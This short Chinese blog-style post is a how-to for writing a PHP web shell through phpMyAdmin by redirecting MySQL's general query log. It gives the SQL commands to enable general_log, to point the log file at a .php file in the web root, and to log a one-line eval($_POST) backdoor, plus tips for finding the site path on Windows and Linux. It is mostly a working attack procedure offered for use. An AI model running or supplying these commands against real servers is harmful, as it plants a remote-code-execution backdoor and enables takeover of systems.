KHZ521

前提

1.可登录phpmyadmin
2.root权限
3.知道网站绝对路径

步骤

1.查看日志是否开启

show variables like \'%general%\';

2.开启日志记录

SET GLOBAL general_log=\'on\';

3.修复日志文件路径

set global general_log_file=\'D:\\phpStudy\\WWW\\shell.php\';

4.写入webshell

select "<?php eval($_POST[\'gg\']);?>";

网站路径判断

如果是Windows,判断是不是phpStudy集成环境,可通过mysql的位置尝试定位网站位置(使用sql语句定位mysql位置:select @@datadir;)
如果是Linux,一般实在/var/www/html路径下

分类:

技术点:

相关文章: